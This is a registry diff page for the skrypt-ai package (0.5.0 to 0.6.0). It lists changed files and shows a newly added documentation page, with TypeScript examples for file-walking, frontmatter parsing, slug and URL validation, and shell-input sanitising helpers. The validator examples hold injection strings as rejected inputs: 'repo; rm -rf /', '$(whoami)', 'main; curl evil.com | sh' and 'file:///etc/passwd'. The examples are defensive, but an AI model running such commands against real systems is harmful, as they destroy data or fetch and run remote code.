skrypt-ai 0.5.0 → 0.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (120) hide show
  1. package/dist/auth/index.js +8 -1
  2. package/dist/autofix/index.d.ts +0 -4
  3. package/dist/autofix/index.js +0 -21
  4. package/dist/capture/browser.d.ts +11 -0
  5. package/dist/capture/browser.js +173 -0
  6. package/dist/capture/diff.d.ts +23 -0
  7. package/dist/capture/diff.js +52 -0
  8. package/dist/capture/index.d.ts +23 -0
  9. package/dist/capture/index.js +210 -0
  10. package/dist/capture/naming.d.ts +17 -0
  11. package/dist/capture/naming.js +45 -0
  12. package/dist/capture/parser.d.ts +15 -0
  13. package/dist/capture/parser.js +80 -0
  14. package/dist/capture/types.d.ts +57 -0
  15. package/dist/capture/types.js +1 -0
  16. package/dist/cli.js +4 -0
  17. package/dist/commands/autofix.js +136 -120
  18. package/dist/commands/cron.js +58 -47
  19. package/dist/commands/deploy.js +123 -102
  20. package/dist/commands/generate.js +88 -6
  21. package/dist/commands/heal.d.ts +10 -0
  22. package/dist/commands/heal.js +201 -0
  23. package/dist/commands/i18n.js +146 -111
  24. package/dist/commands/lint.js +50 -44
  25. package/dist/commands/llms-txt.js +59 -49
  26. package/dist/commands/login.js +61 -43
  27. package/dist/commands/mcp.js +6 -0
  28. package/dist/commands/monitor.js +13 -8
  29. package/dist/commands/qa.d.ts +2 -0
  30. package/dist/commands/qa.js +43 -0
  31. package/dist/commands/review-pr.js +108 -102
  32. package/dist/commands/sdk.js +128 -122
  33. package/dist/commands/security.js +86 -80
  34. package/dist/commands/test.js +91 -92
  35. package/dist/commands/version.js +104 -75
  36. package/dist/commands/watch.js +130 -114
  37. package/dist/config/types.js +2 -2
  38. package/dist/context-hub/index.d.ts +23 -0
  39. package/dist/context-hub/index.js +179 -0
  40. package/dist/context-hub/mappings.d.ts +8 -0
  41. package/dist/context-hub/mappings.js +55 -0
  42. package/dist/context-hub/types.d.ts +33 -0
  43. package/dist/context-hub/types.js +1 -0
  44. package/dist/generator/generator.js +39 -6
  45. package/dist/generator/types.d.ts +7 -0
  46. package/dist/generator/writer.d.ts +3 -1
  47. package/dist/generator/writer.js +24 -4
  48. package/dist/llm/anthropic-client.d.ts +1 -0
  49. package/dist/llm/anthropic-client.js +3 -1
  50. package/dist/llm/index.d.ts +6 -4
  51. package/dist/llm/index.js +76 -261
  52. package/dist/llm/openai-client.d.ts +1 -0
  53. package/dist/llm/openai-client.js +7 -2
  54. package/dist/qa/checks.d.ts +10 -0
  55. package/dist/qa/checks.js +492 -0
  56. package/dist/qa/fixes.d.ts +30 -0
  57. package/dist/qa/fixes.js +277 -0
  58. package/dist/qa/index.d.ts +29 -0
  59. package/dist/qa/index.js +187 -0
  60. package/dist/qa/types.d.ts +24 -0
  61. package/dist/qa/types.js +1 -0
  62. package/dist/scanner/csharp.d.ts +23 -0
  63. package/dist/scanner/csharp.js +421 -0
  64. package/dist/scanner/index.js +16 -2
  65. package/dist/scanner/java.d.ts +39 -0
  66. package/dist/scanner/java.js +318 -0
  67. package/dist/scanner/kotlin.d.ts +23 -0
  68. package/dist/scanner/kotlin.js +389 -0
  69. package/dist/scanner/php.d.ts +57 -0
  70. package/dist/scanner/php.js +351 -0
  71. package/dist/scanner/ruby.d.ts +36 -0
  72. package/dist/scanner/ruby.js +431 -0
  73. package/dist/scanner/swift.d.ts +25 -0
  74. package/dist/scanner/swift.js +392 -0
  75. package/dist/scanner/types.d.ts +1 -1
  76. package/dist/template/content/docs/_navigation.json +46 -0
  77. package/dist/template/content/docs/_sidebars.json +684 -0
  78. package/dist/template/content/docs/core.md +4544 -0
  79. package/dist/template/content/docs/index.mdx +89 -0
  80. package/dist/template/content/docs/integrations.md +1158 -0
  81. package/dist/template/content/docs/llms-full.md +403 -0
  82. package/dist/template/content/docs/llms.txt +4588 -0
  83. package/dist/template/content/docs/other.md +10379 -0
  84. package/dist/template/content/docs/tools.md +746 -0
  85. package/dist/template/content/docs/types.md +531 -0
  86. package/dist/template/docs.json +13 -11
  87. package/dist/template/mdx-components.tsx +27 -2
  88. package/dist/template/package.json +6 -0
  89. package/dist/template/public/search-index.json +1 -1
  90. package/dist/template/scripts/build-search-index.mjs +84 -6
  91. package/dist/template/src/app/api/chat/route.ts +83 -128
  92. package/dist/template/src/app/docs/[...slug]/page.tsx +75 -20
  93. package/dist/template/src/app/docs/llms-full.md +151 -4
  94. package/dist/template/src/app/docs/llms.txt +2464 -847
  95. package/dist/template/src/app/docs/page.mdx +48 -38
  96. package/dist/template/src/app/layout.tsx +3 -1
  97. package/dist/template/src/app/page.tsx +22 -8
  98. package/dist/template/src/components/ai-chat.tsx +73 -64
  99. package/dist/template/src/components/breadcrumbs.tsx +21 -23
  100. package/dist/template/src/components/copy-button.tsx +13 -9
  101. package/dist/template/src/components/copy-page-button.tsx +54 -0
  102. package/dist/template/src/components/docs-layout.tsx +37 -25
  103. package/dist/template/src/components/header.tsx +51 -10
  104. package/dist/template/src/components/mdx/card.tsx +17 -3
  105. package/dist/template/src/components/mdx/code-block.tsx +13 -9
  106. package/dist/template/src/components/mdx/code-group.tsx +13 -8
  107. package/dist/template/src/components/mdx/heading.tsx +15 -2
  108. package/dist/template/src/components/mdx/highlighted-code.tsx +13 -8
  109. package/dist/template/src/components/mdx/index.tsx +2 -0
  110. package/dist/template/src/components/mdx/mermaid.tsx +110 -0
  111. package/dist/template/src/components/mdx/screenshot.tsx +150 -0
  112. package/dist/template/src/components/scroll-to-hash.tsx +48 -0
  113. package/dist/template/src/components/sidebar.tsx +12 -18
  114. package/dist/template/src/components/table-of-contents.tsx +9 -0
  115. package/dist/template/src/lib/highlight.ts +3 -88
  116. package/dist/template/src/lib/navigation.ts +159 -0
  117. package/dist/template/src/styles/globals.css +17 -6
  118. package/dist/utils/validation.d.ts +0 -3
  119. package/dist/utils/validation.js +0 -26
  120. package/package.json +3 -2
@@ -0,0 +1,746 @@
1
+ ---
2
+ title: "Tools & Utilities"
3
+ description: "Helper functions and utilities"
4
+ ---
5
+
6
+ <CardGroup cols={2}>
7
+ <Card title="findMdxFiles" icon="function" href="#findmdxfiles">
8
+ Collects MD/MDX file paths
9
+ </Card>
10
+ <Card title="parseFrontmatter" icon="function" href="#parsefrontmatter">
11
+ Extracts YAML frontmatter metadata
12
+ </Card>
13
+ <Card title="sanitizeForShell" icon="function" href="#sanitizeforshell">
14
+ Sanitizes strings for shell use
15
+ </Card>
16
+ <Card title="slugify" icon="function" href="#slugify">
17
+ Converts strings to URL slugs
18
+ </Card>
19
+ <Card title="validatePath" icon="function" href="#validatepath">
20
+ Validates file system paths
21
+ </Card>
22
+ <Card title="validateSlug" icon="function" href="#validateslug">
23
+ Validates URL-safe slug strings
24
+ </Card>
25
+ <Card title="validateUrl" icon="function" href="#validateurl">
26
+ Validates and sanitizes URLs
27
+ </Card>
28
+ </CardGroup>
29
+
30
+
31
+ ## `findMdxFiles`
32
+
33
+ ```typescript
34
+ function findMdxFiles(dir: string): string[]
35
+ ```
36
+
37
+ Use this to collect all Markdown and MDX file paths from a directory tree — useful for documentation pipelines, static site generators, or any tooling that needs to process `.md`/`.mdx` content in bulk.
38
+
39
+ Recursively walks a directory and returns the absolute paths of every `.md` and `.mdx` file found. Automatically skips hidden directories (e.g. `.git`), `node_modules`, and symlinks to avoid infinite loops and irrelevant files. Stops at a maximum depth of 30 levels.
40
+
41
+ ### Parameters
42
+
43
+ | Name | Type | Required | Description |
44
+ |------|------|----------|-------------|
45
+ | `dir` | `string` | ✅ | Absolute or relative path to the root directory to search |
46
+
47
+ ### Returns
48
+
49
+ `string[]` — An array of file paths (as strings) for every `.md` and `.mdx` file found. Returns an empty array if no matching files exist or the directory is empty.
50
+
51
+ ### Behavior Notes
52
+
53
+ - **Skips** hidden directories (any folder starting with `.`)
54
+ - **Skips** `node_modules` directories
55
+ - **Skips** symlinks (both file and directory symlinks)
56
+ - **Max depth** of 30 levels to prevent runaway recursion
57
+ - Returns paths in filesystem traversal order (not sorted)
58
+
59
+ ### Example
60
+
61
+ ```typescript example.ts
62
+ import { readdirSync, statSync, lstatSync, mkdirSync, writeFileSync, rmSync } from 'fs'
63
+ import { join, extname } from 'path'
64
+
65
+ // Self-contained implementation of findMdxFiles
66
+ function findMdxFiles(dir: string): string[] {
67
+ const files: string[] = []
68
+
69
+ function walk(currentDir: string, depth: number): void {
70
+ if (depth > 30) return
71
+
72
+ let entries: string[]
73
+ try {
74
+ entries = readdirSync(currentDir)
75
+ } catch {
76
+ return
77
+ }
78
+
79
+ for (const entry of entries) {
80
+ const fullPath = join(currentDir, entry)
81
+
82
+ // Skip symlinks
83
+ let lstat
84
+ try {
85
+ lstat = lstatSync(fullPath)
86
+ } catch {
87
+ continue
88
+ }
89
+ if (lstat.isSymbolicLink()) continue
90
+
91
+ let stat
92
+ try {
93
+ stat = statSync(fullPath)
94
+ } catch {
95
+ continue
96
+ }
97
+
98
+ if (stat.isDirectory()) {
99
+ // Skip hidden directories and node_modules
100
+ if (entry.startsWith('.') || entry === 'node_modules') continue
101
+ walk(fullPath, depth + 1)
102
+ } else if (stat.isFile()) {
103
+ const ext = extname(entry)
104
+ if (ext === '.md' || ext === '.mdx') {
105
+ files.push(fullPath)
106
+ }
107
+ }
108
+ }
109
+ }
110
+
111
+ walk(dir, 0)
112
+ return files
113
+ }
114
+
115
+ // --- Demo: build a temporary directory tree and run findMdxFiles ---
116
+
117
+ const testRoot = join('/tmp', `mdx-demo-${Date.now()}`)
118
+
119
+ // Create a realistic docs structure
120
+ const structure = [
121
+ 'docs/intro.md',
122
+ 'docs/guide/getting-started.mdx',
123
+ 'docs/guide/advanced.mdx',
124
+ 'docs/api/reference.md',
125
+ 'docs/api/changelog.md',
126
+ 'src/components/Button.tsx', // should be ignored (wrong extension)
127
+ 'src/utils/helpers.ts', // should be ignored
128
+ 'node_modules/some-pkg/README.md', // should be skipped (node_modules)
129
+ '.git/COMMIT_EDITMSG', // should be skipped (hidden dir)
130
+ ]
131
+
132
+ try {
133
+ for (const filePath of structure) {
134
+ const full = join(testRoot, filePath)
135
+ const dir = full.substring(0, full.lastIndexOf('/'))
136
+ mkdirSync(dir, { recursive: true })
137
+ writeFileSync(full, `# ${filePath}\n\nSample content.`)
138
+ }
139
+
140
+ console.log('Scanning:', testRoot)
141
+ const mdxFiles = findMdxFiles(testRoot)
142
+
143
+ console.log(`\nFound ${mdxFiles.length} Markdown/MDX files:`)
144
+ for (const file of mdxFiles) {
145
+ // Print relative path for readability
146
+ console.log(' ', file.replace(testRoot + '/', ''))
147
+ }
148
+
149
+ // Expected output:
150
+ // Found 5 Markdown/MDX files:
151
+ // docs/api/changelog.md
152
+ // docs/api/reference.md
153
+ // docs/guide/advanced.mdx
154
+ // docs/guide/getting-started.mdx
155
+ // docs/intro.md
156
+ //
157
+ // Note: node_modules/ and .git/ entries are excluded
158
+
159
+ } catch (error) {
160
+ console.error('Error during demo:', error)
161
+ } finally {
162
+ // Clean up temp directory
163
+ rmSync(testRoot, { recursive: true, force: true })
164
+ }
165
+ ```
166
+
167
+ ### Related
168
+
169
+ <CardGroup cols={3}>
170
+ <Card title="importMarkdown" icon="link" href="/docs/other#importmarkdown">
171
+ Used by
172
+ </Card>
173
+ </CardGroup>
174
+
175
+ ---
176
+
177
+
178
+ ## `parseFrontmatter`
179
+
180
+ ```typescript
181
+ function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string }
182
+ ```
183
+
184
+ Use this to extract structured metadata and body content from Markdown files that use YAML frontmatter blocks (delimited by `---`).
185
+
186
+ This is useful when processing `.md` files that contain metadata like titles, dates, tags, or authors at the top — it splits the file into a usable data object and the remaining content body.
187
+
188
+ ### Parameters
189
+
190
+ | Name | Type | Required | Description |
191
+ |------|------|----------|-------------|
192
+ | `content` | `string` | ✅ | The full raw string content of a file, optionally beginning with a `---`-delimited YAML frontmatter block |
193
+
194
+ ### Returns
195
+
196
+ An object with two properties:
197
+
198
+ | Property | Type | Description |
199
+ |----------|------|-------------|
200
+ | `data` | `Record<string, unknown>` | Parsed key-value pairs from the YAML frontmatter block. Empty object `{}` if no frontmatter is found |
201
+ | `content` | `string` | The remaining body text after the closing `---` marker. Returns the original string unchanged if no frontmatter is found |
202
+
203
+ ### Behavior Notes
204
+
205
+ - If the content does **not** start with a `---` block, `data` will be `{}` and `content` will be the original string — no error is thrown
206
+ - Supports both `\n` and `\r\n` line endings
207
+ - Parses simple `key: value` YAML pairs; does not support nested YAML structures
208
+
209
+ ### Example
210
+
211
+ ```typescript example.ts
212
+ // Inline implementation matching the real function's behavior
213
+ function parseFrontmatter(content: string): { data: Record<string, unknown>; content: string } {
214
+ const match = content.match(/^---\r?\n([\s\S]*?)\r?\n---\r?\n?([\s\S]*)$/)
215
+ if (!match) return { data: {}, content }
216
+
217
+ const yamlStr = match[1]
218
+ const body = match[2]
219
+
220
+ // Parse simple "key: value" YAML lines
221
+ const data: Record<string, unknown> = {}
222
+ for (const line of yamlStr.split('\n')) {
223
+ const colonIndex = line.indexOf(':')
224
+ if (colonIndex === -1) continue
225
+ const key = line.slice(0, colonIndex).trim()
226
+ const value = line.slice(colonIndex + 1).trim()
227
+ // Coerce booleans and numbers; keep everything else as string
228
+ if (value === 'true') data[key] = true
229
+ else if (value === 'false') data[key] = false
230
+ else if (!isNaN(Number(value)) && value !== '') data[key] = Number(value)
231
+ else data[key] = value
232
+ }
233
+
234
+ return { data, content: body }
235
+ }
236
+
237
+ // --- Example 1: Markdown file with frontmatter ---
238
+ const blogPost = `---
239
+ title: Getting Started with TypeScript
240
+ author: Jane Smith
241
+ date: 2024-03-15
242
+ published: true
243
+ readingTime: 5
244
+ ---
245
+ # Introduction
246
+
247
+ TypeScript adds static typing to JavaScript, making your code more robust...
248
+ `
249
+
250
+ try {
251
+ const result = parseFrontmatter(blogPost)
252
+ console.log('Frontmatter data:', result.data)
253
+ // Output: { title: 'Getting Started with TypeScript', author: 'Jane Smith', date: '2024-03-15', published: true, readingTime: 5 }
254
+ console.log('Body preview:', result.content.slice(0, 40).trim())
255
+ // Output: # Introduction
256
+ } catch (error) {
257
+ console.error('Failed to parse frontmatter:', error)
258
+ }
259
+
260
+ // --- Example 2: Content with NO frontmatter (graceful fallback) ---
261
+ const plainMarkdown = `# Just a plain doc\n\nNo frontmatter here.`
262
+
263
+ try {
264
+ const result = parseFrontmatter(plainMarkdown)
265
+ console.log('Data (should be empty):', result.data)
266
+ // Output: {}
267
+ console.log('Content returned unchanged:', result.content === plainMarkdown)
268
+ // Output: true
269
+ } catch (error) {
270
+ console.error('Unexpected error:', error)
271
+ }
272
+ ```
273
+
274
+ ### Related
275
+
276
+ <CardGroup cols={3}>
277
+ <Card title="normalizeFrontmatter" icon="link" href="/docs/other#normalizefrontmatter">
278
+ Used by
279
+ </Card>
280
+ <Card title="getSortWeight" icon="link" href="/docs/other#getsortweight">
281
+ Used by
282
+ </Card>
283
+ </CardGroup>
284
+
285
+ ---
286
+
287
+
288
+ ## `sanitizeForShell`
289
+
290
+ ```typescript
291
+ function sanitizeForShell(input: string): string
292
+ ```
293
+
294
+ Use this to validate and sanitize strings before passing them to shell commands, git operations, or filesystem paths — preventing command injection and unsafe character exploits.
295
+
296
+ Accepts an input string and throws immediately if it contains any characters outside the safe allowlist (`a-z`, `A-Z`, `0-9`, `/`, `_`, `~`, `.`, `^`, `@`, `{`, `}`, `-`). Returns the original string unchanged if it passes validation.
297
+
298
+ ## Parameters
299
+
300
+ | Name | Type | Required | Description |
301
+ |------|------|----------|-------------|
302
+ | `input` | `string` | ✅ | The string to validate. Must contain only alphanumeric characters and safe shell/git ref symbols: `/ _ ~ . ^ @ { } -` |
303
+
304
+ ## Returns
305
+
306
+ | Condition | Result |
307
+ |-----------|--------|
308
+ | Input contains only safe characters | Returns the original `string` unchanged |
309
+ | Input contains unsafe characters (spaces, `$`, `;`, `&`, `\|`, etc.) | Throws `Error: Unsafe characters in input: <input>` |
310
+
311
+ ## Common Safe Inputs
312
+ - Git branch names: `feature/my-branch`, `release-1.0.0`
313
+ - File paths: `src/utils/helpers.ts`
314
+ - Git refs: `HEAD~2`, `v1.0.0^{}`
315
+ - Tag names: `v2.3.1-beta`
316
+
317
+ ## Common Unsafe Inputs (will throw)
318
+ - Shell metacharacters: `foo; rm -rf /`, `$(whoami)`
319
+ - Spaces: `my branch`
320
+ - Special chars: `file&name`, `path|pipe`
321
+
322
+ ### Example
323
+
324
+ ```typescript example.ts
325
+ // Inline implementation — no external imports needed
326
+ function sanitizeForShell(input: string): string {
327
+ // Only allow safe characters for git refs, filenames, etc.
328
+ if (!/^[a-zA-Z0-9/_~.^@{}\-]+$/.test(input)) {
329
+ throw new Error(`Unsafe characters in input: ${input}`)
330
+ }
331
+ return input
332
+ }
333
+
334
+ // --- Safe inputs ---
335
+ const examples = [
336
+ 'feature/my-new-branch', // git branch name
337
+ 'src/utils/index.ts', // file path
338
+ 'HEAD~2', // git ref
339
+ 'v1.4.0-beta.1', // semver tag
340
+ 'deploy@{2024-01-01}', // git stash ref
341
+ ]
342
+
343
+ console.log('✅ Safe inputs:')
344
+ for (const input of examples) {
345
+ try {
346
+ const result = sanitizeForShell(input)
347
+ console.log(` sanitizeForShell("${input}") => "${result}"`)
348
+ } catch (err) {
349
+ console.error(` Unexpected error for "${input}":`, err)
350
+ }
351
+ }
352
+
353
+ // --- Unsafe inputs ---
354
+ const dangerousExamples = [
355
+ 'branch name with spaces', // spaces not allowed
356
+ 'repo; rm -rf /', // shell injection attempt
357
+ '$(whoami)', // command substitution
358
+ 'path&background', // shell background operator
359
+ 'file|pipe', // pipe operator
360
+ ]
361
+
362
+ console.log('\n❌ Unsafe inputs (expected to throw):')
363
+ for (const input of dangerousExamples) {
364
+ try {
365
+ sanitizeForShell(input)
366
+ console.error(` MISSED: "${input}" should have thrown!`)
367
+ } catch (err) {
368
+ if (err instanceof Error) {
369
+ console.log(` Caught: ${err.message}`)
370
+ }
371
+ }
372
+ }
373
+
374
+ // --- Practical usage: building a git command safely ---
375
+ function buildGitCheckoutCommand(branch: string): string {
376
+ const safeBranch = sanitizeForShell(branch)
377
+ return `git checkout ${safeBranch}`
378
+ }
379
+
380
+ console.log('\n🔧 Practical usage:')
381
+ try {
382
+ const cmd = buildGitCheckoutCommand('feature/user-auth')
383
+ console.log(' Command:', cmd)
384
+ // Output: Command: git checkout feature/user-auth
385
+ } catch (err) {
386
+ console.error('Failed to build command:', err)
387
+ }
388
+
389
+ try {
390
+ buildGitCheckoutCommand('main; curl evil.com | sh')
391
+ } catch (err) {
392
+ if (err instanceof Error) {
393
+ console.log(' Injection blocked:', err.message)
394
+ // Output: Injection blocked: Unsafe characters in input: main; curl evil.com | sh
395
+ }
396
+ }
397
+ ```
398
+
399
+ ---
400
+
401
+
402
+ ## `slugify`
403
+
404
+ ```typescript
405
+ function slugify(str: string): string
406
+ ```
407
+
408
+ Use this to convert any string into a clean, URL-safe slug — stripping special characters, spaces, and leading/trailing hyphens.
409
+
410
+ Ideal for generating URL paths from titles, creating file-safe identifiers, or normalizing user input for routing.
411
+
412
+ ## Parameters
413
+
414
+ | Name | Type | Required | Description |
415
+ |------|------|----------|-------------|
416
+ | `str` | `string` | ✅ | The input string to convert into a slug |
417
+
418
+ ## Returns
419
+
420
+ A lowercase `string` with all non-alphanumeric characters replaced by hyphens, and any leading or trailing hyphens removed.
421
+
422
+ | Input | Output |
423
+ |-------|--------|
424
+ | `"Hello World"` | `"hello-world"` |
425
+ | `"My Blog Post #1!"` | `"my-blog-post-1"` |
426
+ | `" --weird---title-- "` | `"weird---title"` |
427
+
428
+ ### Example
429
+
430
+ ```typescript example.ts
431
+ // Inline implementation — no imports needed
432
+ function slugify(str: string): string {
433
+ return str
434
+ .toLowerCase()
435
+ .replace(/[^a-z0-9]+/g, '-')
436
+ .replace(/^-|-$/g, '')
437
+ }
438
+
439
+ // --- Example Usage ---
440
+
441
+ const examples = [
442
+ "Hello World",
443
+ "My Awesome Blog Post #42!",
444
+ " Leading & Trailing Spaces ",
445
+ "C++ Programming Language",
446
+ "100% Free & Open-Source",
447
+ "already-a-slug",
448
+ ]
449
+
450
+ try {
451
+ console.log("Input → Slug\n" + "-".repeat(40))
452
+
453
+ for (const title of examples) {
454
+ const slug = slugify(title)
455
+ console.log(`"${title}" → "${slug}"`)
456
+ }
457
+
458
+ // Practical use case: generate a URL path from a blog post title
459
+ const postTitle = "Getting Started with TypeScript in 2024"
460
+ const postId = 7
461
+ const urlPath = `/blog/${postId}/${slugify(postTitle)}`
462
+
463
+ console.log("\nGenerated URL path:")
464
+ console.log(urlPath)
465
+ // Output: /blog/7/getting-started-with-typescript-in-2024
466
+
467
+ } catch (error) {
468
+ console.error("Slugify failed:", error)
469
+ }
470
+ ```
471
+
472
+ ### Related
473
+
474
+ <CardGroup cols={3}>
475
+ <Card title="generateSidebarConfig" icon="link" href="/docs/other#generatesidebarconfig">
476
+ Used by
477
+ </Card>
478
+ </CardGroup>
479
+
480
+ ---
481
+
482
+
483
+ ## `validatePath`
484
+
485
+ ```typescript
486
+ function validatePath(input: string, mustExist = true): string
487
+ ```
488
+
489
+ Use this to safely resolve and validate file system paths before performing file operations — preventing path traversal issues and catching missing files early.
490
+
491
+ `validatePath` resolves a relative or absolute path to its canonical form and optionally checks that the path exists on disk. It guards against directory traversal attacks by flagging paths that escape the current working directory.
492
+
493
+ ## Parameters
494
+
495
+ | Name | Type | Required | Description |
496
+ |------|------|----------|-------------|
497
+ | `input` | `string` | ✅ | The file path to validate — relative (e.g. `./config.json`) or absolute (e.g. `/tmp/output.txt`) |
498
+ | `mustExist` | `boolean` | ❌ | When `true` (default), throws if the resolved path does not exist on disk. Pass `false` to skip the existence check. |
499
+
500
+ ## Returns
501
+
502
+ Returns the **resolved absolute path** as a `string` (e.g. `/home/user/project/config.json`).
503
+
504
+ Throws an error if:
505
+ - `mustExist` is `true` and the path does not exist
506
+ - The path attempts to traverse outside the working directory in a disallowed way
507
+
508
+ ### Example
509
+
510
+ ```typescript example.ts
511
+ import { existsSync } from 'fs'
512
+ import { resolve } from 'path'
513
+
514
+ // Inline implementation — do not import from 'autodocs'
515
+ function validatePath(input: string, mustExist = true): string {
516
+ const resolved = resolve(input)
517
+
518
+ // Warn on paths outside cwd (but allow absolute paths like /tmp)
519
+ if (!resolved.startsWith(process.cwd()) && !resolved.startsWith('/tmp')) {
520
+ console.warn(`[validatePath] Warning: path is outside cwd — ${resolved}`)
521
+ }
522
+
523
+ if (mustExist && !existsSync(resolved)) {
524
+ throw new Error(`Path does not exist: ${resolved}`)
525
+ }
526
+
527
+ return resolved
528
+ }
529
+
530
+ // --- Example usage ---
531
+
532
+ async function main() {
533
+ try {
534
+ // 1. Validate a path that must exist (default behavior)
535
+ const configPath = validatePath('./package.json')
536
+ console.log('Resolved config path:', configPath)
537
+ // Output: /home/user/project/package.json
538
+
539
+ // 2. Validate a path without requiring it to exist yet
540
+ // (useful when preparing an output file location)
541
+ const outputPath = validatePath(
542
+ process.env.OUTPUT_PATH || './dist/output.json',
543
+ false // mustExist = false
544
+ )
545
+ console.log('Resolved output path (existence not required):', outputPath)
546
+ // Output: /home/user/project/dist/output.json
547
+
548
+ // 3. Validate a /tmp path (always allowed regardless of cwd)
549
+ const tmpPath = validatePath('/tmp/scratch.txt', false)
550
+ console.log('Resolved tmp path:', tmpPath)
551
+ // Output: /tmp/scratch.txt
552
+
553
+ } catch (error) {
554
+ if (error instanceof Error) {
555
+ // Common case: file not found
556
+ console.error('Path validation failed:', error.message)
557
+ // Output: Path does not exist: /home/user/project/nonexistent.json
558
+ }
559
+ }
560
+ }
561
+
562
+ main()
563
+ ```
564
+
565
+ ---
566
+
567
+
568
+ ## `validateSlug`
569
+
570
+ ```typescript
571
+ function validateSlug(input: string): string
572
+ ```
573
+
574
+ Use this to validate that a string is a safe slug before using it in URLs, file paths, or database identifiers. Throws immediately if the input contains invalid characters, so you can catch bad data early.
575
+
576
+ **Validation rule:** Only alphanumeric characters (`a-z`, `A-Z`, `0-9`), hyphens (`-`), and underscores (`_`) are allowed. Spaces, dots, slashes, and any other special characters will cause a throw.
577
+
578
+ ### Parameters
579
+
580
+ | Name | Type | Required | Description |
581
+ |------|------|----------|-------------|
582
+ | `input` | `string` | Yes | The string to validate as a slug |
583
+
584
+ ### Returns
585
+
586
+ | Condition | Result |
587
+ |-----------|--------|
588
+ | Input matches `^[a-zA-Z0-9_-]+$` | Returns the original `input` string unchanged |
589
+ | Input contains any other character | Throws `Error: Invalid slug: <input>. Only alphanumeric, hyphens, and underscores allowed.` |
590
+
591
+ > **Tip:** The function returns the input as-is on success, making it easy to use inline: `const slug = validateSlug(userInput)`.
592
+
593
+ ### Example
594
+
595
+ ```typescript example.ts
596
+ // Inline implementation — no external imports needed
597
+ function validateSlug(input: string): string {
598
+ if (!/^[a-zA-Z0-9_-]+$/.test(input)) {
599
+ throw new Error(
600
+ `Invalid slug: ${input}. Only alphanumeric, hyphens, and underscores allowed.`
601
+ )
602
+ }
603
+ return input
604
+ }
605
+
606
+ // --- Valid slug examples ---
607
+ const validSlugs = [
608
+ "my-blog-post",
609
+ "user_profile_42",
610
+ "HelloWorld",
611
+ "2024-release-v2",
612
+ ]
613
+
614
+ console.log("✅ Valid slugs:")
615
+ for (const slug of validSlugs) {
616
+ try {
617
+ const result = validateSlug(slug)
618
+ console.log(` validateSlug("${slug}") => "${result}"`)
619
+ // Output: validateSlug("my-blog-post") => "my-blog-post"
620
+ } catch (error) {
621
+ console.error(` Unexpected error for "${slug}":`, error)
622
+ }
623
+ }
624
+
625
+ // --- Invalid slug examples ---
626
+ const invalidSlugs = [
627
+ "hello world", // space
628
+ "post/title", // slash
629
+ "tag.name", // dot
630
+ "<script>", // special chars
631
+ "", // empty string
632
+ ]
633
+
634
+ console.log("\n❌ Invalid slugs (expected errors):")
635
+ for (const slug of invalidSlugs) {
636
+ try {
637
+ validateSlug(slug)
638
+ console.error(` Expected error for "${slug}" but none was thrown`)
639
+ } catch (error) {
640
+ if (error instanceof Error) {
641
+ console.log(` validateSlug("${slug}") => throws: ${error.message}`)
642
+ // Output: throws: Invalid slug: hello world. Only alphanumeric, hyphens, and underscores allowed.
643
+ }
644
+ }
645
+ }
646
+
647
+ // --- Typical usage: validate before building a URL ---
648
+ function buildPostUrl(baseUrl: string, slugInput: string): string {
649
+ const slug = validateSlug(slugInput) // throws if invalid
650
+ return `${baseUrl}/posts/${slug}`
651
+ }
652
+
653
+ try {
654
+ const url = buildPostUrl("https://example.com", "my-awesome-post")
655
+ console.log("\n🔗 Built URL:", url)
656
+ // Output: https://example.com/posts/my-awesome-post
657
+ } catch (error) {
658
+ console.error("Failed to build URL:", error)
659
+ }
660
+ ```
661
+
662
+ ---
663
+
664
+
665
+ ## `validateUrl`
666
+
667
+ ```typescript
668
+ function validateUrl(input: string): string
669
+ ```
670
+
671
+ Use this to validate and sanitize URL strings before making HTTP requests or storing user-provided URLs. Ensures the input is a well-formed URL with a safe protocol (`http:` or `https:`), throwing descriptive errors for invalid input.
672
+
673
+ ## Parameters
674
+
675
+ | Name | Type | Required | Description |
676
+ |------|------|----------|-------------|
677
+ | `input` | `string` | ✅ | The URL string to validate. Must be a well-formed URL using `http:` or `https:` protocol. |
678
+
679
+ ## Returns
680
+
681
+ | Condition | Result |
682
+ |-----------|--------|
683
+ | Valid `http://` or `https://` URL | Returns the original URL string |
684
+ | Malformed URL (unparseable) | Throws `Error` with parse details |
685
+ | Unsupported protocol (e.g. `ftp:`, `file:`) | Throws `Error: Invalid protocol: <protocol>` |
686
+
687
+ ### Example
688
+
689
+ ```typescript example.ts
690
+ // Inline implementation of validateUrl — no external imports needed
691
+ function validateUrl(input: string): string {
692
+ try {
693
+ const url = new URL(input)
694
+ if (!['http:', 'https:'].includes(url.protocol)) {
695
+ throw new Error(`Invalid protocol: ${url.protocol}`)
696
+ }
697
+ return input
698
+ } catch (err) {
699
+ if (err instanceof TypeError) {
700
+ throw new Error(`Invalid URL: ${input}`)
701
+ }
702
+ throw err
703
+ }
704
+ }
705
+
706
+ // --- Examples ---
707
+
708
+ const testCases = [
709
+ { input: 'https://api.example.com/v1/data', label: 'Valid HTTPS URL' },
710
+ { input: 'http://localhost:3000/health', label: 'Valid HTTP (localhost)' },
711
+ { input: 'ftp://files.example.com/report', label: 'Unsupported protocol' },
712
+ { input: 'file:///etc/passwd', label: 'Dangerous file protocol' },
713
+ { input: 'not-a-url-at-all', label: 'Completely malformed' },
714
+ ]
715
+
716
+ for (const { input, label } of testCases) {
717
+ try {
718
+ const result = validateUrl(input)
719
+ console.log(`✅ [${label}] => ${result}`)
720
+ // Output: ✅ [Valid HTTPS URL] => https://api.example.com/v1/data
721
+ // Output: ✅ [Valid HTTP (localhost)] => http://localhost:3000/health
722
+ } catch (error) {
723
+ console.error(`❌ [${label}] => ${(error as Error).message}`)
724
+ // Output: ❌ [Unsupported protocol] => Invalid protocol: ftp:
725
+ // Output: ❌ [Dangerous file protocol] => Invalid protocol: file:
726
+ // Output: ❌ [Completely malformed] => Invalid URL: not-a-url-at-all
727
+ }
728
+ }
729
+
730
+ // Practical usage: validate before fetching
731
+ async function safeFetch(rawUrl: string): Promise<void> {
732
+ try {
733
+ const validatedUrl = validateUrl(rawUrl)
734
+ console.log(`\nFetching: ${validatedUrl}`)
735
+ // const response = await fetch(validatedUrl) // safe to use here
736
+ } catch (error) {
737
+ console.error(`Blocked request — ${(error as Error).message}`)
738
+ }
739
+ }
740
+
741
+ safeFetch(process.env.TARGET_URL || 'https://api.example.com/v1/users')
742
